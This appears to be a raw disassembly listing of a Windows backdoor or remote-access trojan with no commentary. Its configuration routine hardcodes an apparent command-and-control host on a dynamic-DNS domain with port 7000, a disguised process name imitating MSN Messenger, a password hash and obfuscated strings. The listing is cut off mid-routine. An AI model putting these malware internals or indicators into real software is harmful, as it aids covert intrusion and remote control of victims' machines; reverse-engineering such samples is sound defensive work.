; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4070B0	proc near		; CODE XREF: sub_401591j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_4015D7
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_8]
		lea	eax, [esp+4+arg_0]
		mov	[edx+2Ah], ecx
		push	eax
		lea	ecx, [esi+32h]
		call	sub_4014E2
sub_4070B0	endp

; ---------------------------------------------------------------------------
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4070F0	proc near		; CODE XREF: sub_401AF0j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401AC3
		add	esi, 32h
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_401622
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4021BC
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40183E
		test	al, al
		jz	short loc_40716B
		mov	edi, [esp+10h+arg_0]


loc_407133:				; CODE XREF: sub_4070F0+79j
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_40173F
		mov	ecx, [eax]
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_407175
		call	sub_401F0A
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_4021BC
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40183E
		test	al, al
		jnz	short loc_407133


loc_40716B:				; CODE XREF: sub_4070F0+3Dj
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_407175:				; CODE XREF: sub_4070F0+5Aj
		call	sub_40173F
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_4070F0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4071C0	proc near		; CODE XREF: sub_4021F8j
		xor	al, al
		retn	4
sub_4071C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4071E0	proc near		; CODE XREF: sub_401564j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40119F
sub_4071E0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407220	proc near		; CODE XREF: sub_401622j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_401A82
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_402185
		mov	eax, esi
		pop	esi
		retn	4
sub_407220	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407260	proc near		; CODE XREF: sub_4021BCj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_402185
		mov	eax, esi
		pop	esi
		retn	4
sub_407260	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407290	proc near		; CODE XREF: sub_4014E2j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4021BC
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4013B6
sub_407290	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072D0	proc near		; CODE XREF: sub_401AC3j
		push	esi
		mov	esi, ecx
		call	sub_401B63
		mov	eax, esi
		pop	esi
		retn
sub_4072D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072F0	proc near		; CODE XREF: sub_40173Fj
		mov	eax, [ecx]
		push	eax
		call	sub_401208
		add	esp, 4
		retn
sub_4072F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407310	proc near		; CODE XREF: sub_401F0Aj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401A82
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_407310	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407340	proc near		; CODE XREF: sub_40183Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FA0
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_407340	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407370	proc near		; CODE XREF: sub_4013B6j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C8A
		mov	edi, eax
		push	edi
		call	sub_401C58
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40119F
sub_407370	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401C58
		push	edi
		mov	[eax], ebx
		call	sub_401C58
		mov	edi, [eax]
		push	edi
		call	sub_401C58
		mov	ecx, [eax]
		push	ecx
		call	sub_401A82
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401208
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401672
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_402185
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407410	proc near		; CODE XREF: sub_40119Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4019C9
sub_407410	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_407425
		mov	edi, esi


loc_407425:				; CODE XREF: ___:00407421j
		push	esi
		call	sub_401A82
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40743A
		mov	edi, esi


loc_40743A:				; CODE XREF: ___:00407436j
		push	esi
		call	sub_401C58
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407460	proc near		; CODE XREF: sub_401A82j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_407460	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407480	proc near		; CODE XREF: sub_401208j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_407480	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074A0	proc near		; CODE XREF: sub_401B63j
		mov	eax, ecx
		retn
sub_4074A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074C0	proc near		; CODE XREF: sub_402185j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4011E5
		mov	eax, esi
		pop	esi
		retn	4
sub_4074C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074F0	proc near		; CODE XREF: sub_401FA0j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4074F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407520	proc near		; CODE XREF: sub_401C58j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_407520	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407540	proc near		; CODE XREF: sub_4019C9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_407540	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407570	proc near		; CODE XREF: sub_401672j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40109B
		add	esp, 8
		retn	8
sub_407570	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075A0	proc near		; CODE XREF: sub_4011E5j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4075A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075C0	proc near		; CODE XREF: sub_401C8Aj
		mov	eax, [ecx]
		retn
sub_4075C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4075E0	proc near		; CODE XREF: sub_401D16j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_4075EA
		xor	eax, eax


loc_4075EA:				; CODE XREF: sub_4075E0+6j
		push	eax
		call	sub_4367FA
sub_4075E0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407610	proc near		; CODE XREF: sub_40109Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40762B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40762B:				; CODE XREF: sub_407610+11j
		retn
sub_407610	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407640	proc near		; CODE XREF: sub_4011CCj

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		retn
sub_407640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407660	proc near		; CODE XREF: sub_401B2Cj

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_407660
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_4]
		mov	[esp+1Ch+var_4], 0
		call	sub_4017E4
		push	eax
		mov	eax, [esp+20h+arg_0]
		push	0
		push	eax
		mov	ecx, offset word_448D16
		call	sub_401B5E
sub_407660	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4076F0	proc near		; CODE XREF: sub_401CC1j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4076F0
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_1C]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+20h+arg_4]
		call	sub_4017E4
		push	eax
		mov	eax, [esp+24h+arg_0]
		push	eax
		mov	ecx, offset word_448D16
		call	sub_401B5E
sub_4076F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+8], 0
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	34h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407790	proc near		; CODE XREF: sub_40121Cj

var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_348		= byte ptr -348h
var_330		= byte ptr -330h
var_318		= byte ptr -318h
var_2F4		= byte ptr -2F4h
var_2DC		= byte ptr -2DCh
var_2C4		= byte ptr -2C4h
var_2AC		= byte ptr -2ACh
var_294		= byte ptr -294h
var_27C		= byte ptr -27Ch
var_264		= byte ptr -264h
var_24C		= byte ptr -24Ch
var_234		= byte ptr -234h
var_21C		= byte ptr -21Ch
var_204		= byte ptr -204h
var_1EC		= byte ptr -1ECh
var_1D4		= byte ptr -1D4h
var_1BC		= byte ptr -1BCh
var_1A4		= byte ptr -1A4h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_15C		= byte ptr -15Ch
var_144		= byte ptr -144h
var_114		= byte ptr -114h
var_E4		= byte ptr -0E4h
var_CC		= byte ptr -0CCh
var_B4		= byte ptr -0B4h
var_9C		= byte ptr -9Ch
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_407790
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 344h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+35Ch+var_174]
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1A4]
		mov	[esp+35Ch+var_4], 0
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1D4]
		mov	byte ptr [esp+35Ch+var_4], 1
		call	sub_401424
		lea	ecx, [esp+35Ch+var_204]
		mov	byte ptr [esp+35Ch+var_4], 2
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2DC]
		mov	byte ptr [esp+35Ch+var_4], 3
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2C4]
		mov	byte ptr [esp+35Ch+var_4], 4
		call	sub_401424
		lea	ecx, [esp+35Ch+var_234]
		mov	byte ptr [esp+35Ch+var_4], 5
		call	sub_401424
		lea	ecx, [esp+35Ch+var_264]
		mov	byte ptr [esp+35Ch+var_4], 6
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2F4]
		mov	byte ptr [esp+35Ch+var_4], 7
		call	sub_401424
		lea	ecx, [esp+35Ch+var_24]
		mov	byte ptr [esp+35Ch+var_4], 8
		call	sub_401424
		lea	ecx, [esp+35Ch+var_54]
		mov	byte ptr [esp+35Ch+var_4], 9
		call	sub_401424
		lea	ecx, [esp+35Ch+var_84]
		mov	byte ptr [esp+35Ch+var_4], 0Ah
		call	sub_401424
		lea	ecx, [esp+35Ch+var_3C]
		mov	byte ptr [esp+35Ch+var_4], 0Bh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_6C]
		mov	byte ptr [esp+35Ch+var_4], 0Ch
		call	sub_401424
		lea	ecx, [esp+35Ch+var_294]
		mov	byte ptr [esp+35Ch+var_4], 0Dh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_15C]
		mov	byte ptr [esp+35Ch+var_4], 0Eh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_114]
		mov	byte ptr [esp+35Ch+var_4], 0Fh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_18C]
		mov	byte ptr [esp+35Ch+var_4], 10h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_144]
		mov	byte ptr [esp+35Ch+var_4], 11h
		call	sub_401424
		mov	byte ptr [esp+35Ch+var_4], 12h
		lea	ecx, [esp+35Ch+var_1BC]
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2AC]
		mov	byte ptr [esp+35Ch+var_4], 13h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1EC]
		mov	byte ptr [esp+35Ch+var_4], 14h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_CC]
		mov	byte ptr [esp+35Ch+var_4], 15h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_21C]
		mov	byte ptr [esp+35Ch+var_4], 16h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_B4]
		mov	byte ptr [esp+35Ch+var_4], 17h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_24C]
		mov	byte ptr [esp+35Ch+var_4], 18h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_E4]
		mov	byte ptr [esp+35Ch+var_4], 19h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_9C]
		mov	byte ptr [esp+35Ch+var_4], 1Ah
		call	sub_401424
		lea	ecx, [esp+35Ch+var_27C]
		mov	byte ptr [esp+35Ch+var_4], 1Bh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_330]
		mov	byte ptr [esp+35Ch+var_4], 1Ch
		call	sub_401424
		lea	ecx, [esp+35Ch+var_318]
		mov	byte ptr [esp+35Ch+var_4], 1Dh
		call	sub_401424
		mov	bl, 1Eh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		lea	ecx, [esp+360h+var_174]
		mov	byte ptr [esp+360h+var_4], bl
		call	sub_401A87
		push	offset a7000	; "7000"
		lea	ecx, [esp+360h+var_1A4]
		call	sub_401A87
		push	offset aSaad	; "saad"
		lea	ecx, [esp+360h+var_2AC]
		call	sub_401A87
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		lea	ecx, [esp+360h+var_1D4]
		call	sub_401A87
		push	offset a7000	; "7000"
		lea	ecx, [esp+360h+var_204]
		call	sub_401A87
		push	offset aSaad	; "saad"
		lea	ecx, [esp+360h+var_1EC]
		call	sub_401A87
		push	offset aScop	; "#scop#"
		lea	ecx, [esp+360h+var_2DC]
		call	sub_401A87
		push	offset aS_1	; "#s"
		lea	ecx, [esp+360h+var_27C]
		call	sub_401A87
		push	offset aServec	; "servec"
		lea	ecx, [esp+360h+var_2C4]
		call	sub_401A87
		push	offset aMsnnmaneger_ex ; "msnnmaneger.exe"
		lea	ecx, [esp+360h+var_234]
		call	sub_401A87
		push	offset aWintwir	; "wintwir"
		lea	ecx, [esp+360h+var_264]
		call	sub_401A87
		push	offset aTahy	; "TAHY-"
		lea	ecx, [esp+360h+var_2F4]
		call	sub_401A87
		push	offset aAbosal7	; "abosal7"
		lea	ecx, [esp+360h+var_294]
		call	sub_401A87
		push	offset aE10adc3949ba59 ; "E10ADC3949BA59ABBE56E057F20F883E"
		lea	ecx, [esp+360h+var_15C]
		call	sub_401A87
		push	offset aAdmin_com ; "admin.com"
		lea	ecx, [esp+360h+var_114]
		call	sub_401A87
		push	offset aTsinternetuser ; "TsInternetUser"
		lea	ecx, [esp+360h+var_18C]
		call	sub_401A87
		push	offset aHotfix	; "hotfix"
		lea	ecx, [esp+360h+var_144]
		call	sub_401A87
		push	offset dword_4437F8
		lea	ecx, [esp+360h+var_CC]
		call	sub_401A87
		push	0
		push	4Bh
		push	48h
		push	4Ah
		push	47h
		push	4Ch
		push	48h
		push	4Bh
		push	48h
		push	45h
		lea	eax, [esp+384h+var_348]
		push	46h
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	eax
		lea	ecx, [esp+360h+var_1BC]
		mov	byte ptr [esp+360h+var_4], 1Fh
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	0Dh
		push	4Fh
		push	18h
		push	9
		push	6
		push	14h
		push	0Fh
		lea	ecx, [esp+39Ch+var_348]
		push	8
		push	ecx
		call	sub_4019B5
		add	esp, 48h
		push	eax
		lea	ecx, [esp+360h+var_21C]
		mov	byte ptr [esp+360h+var_4], 20h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_B4]
		mov	byte ptr [esp+360h+var_4], 21h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	eax, [esp+36Ch+var_348]
		push	45h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_E4]
		mov	byte ptr [esp+360h+var_4], 22h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	44h
		push	49h
		lea	ecx, [esp+368h+var_348]
		push	46h
		push	ecx
		call	sub_4019B5
		add	esp, 14h
		push	eax
		lea	ecx, [esp+360h+var_24C]
		mov	byte ptr [esp+360h+var_4], 23h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_9C]
		mov	byte ptr [esp+360h+var_4], 24h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	15h
		push	12h
		lea	eax, [esp+36Ch+var_348]
		push	14h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_330]
		mov	byte ptr [esp+360h+var_4], 25h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	13h
		push	0Ch
		push	1
		lea	ecx, [esp+370h+var_348]
		push	6
		push	ecx
		call	sub_4019B5
		add	esp, 1Ch
		push	eax
		lea	ecx, [esp+360h+var_318]
		mov	byte ptr [esp+360h+var_4], 26h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		lea	ecx, [esp+35Ch+var_2C4]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+374h+var_34C], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+3D0h+var_348]
		push	13h
		push	edx
		mov	byte ptr [esp+3D8h+var_4], 27h
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+374h+var_4], 28h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+38Ch+var_350], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+0FECh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+390h+var_4], 29h
		call	sub_401CC1
sub_407790	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+80h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Eh
		push	1
		mov	byte ptr [esp+37Ch], 2Ah
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Bh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+1035h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 2Ch
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1B8h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+78h]
		push	13h
		push	eax
		mov	byte ptr [esp+3C4h], 2Dh
		call	sub_4019B5
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Eh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+0FA3h]
		mov	byte ptr [esp+388h], 2Fh
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1E8h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+80h]
		push	13h
		push	edx
		mov	byte ptr [esp+3CCh], 30h
		call	sub_4019B5
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 31h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+0F5Ah]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 32h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+68h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		mov	byte ptr [esp+388h], 33h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
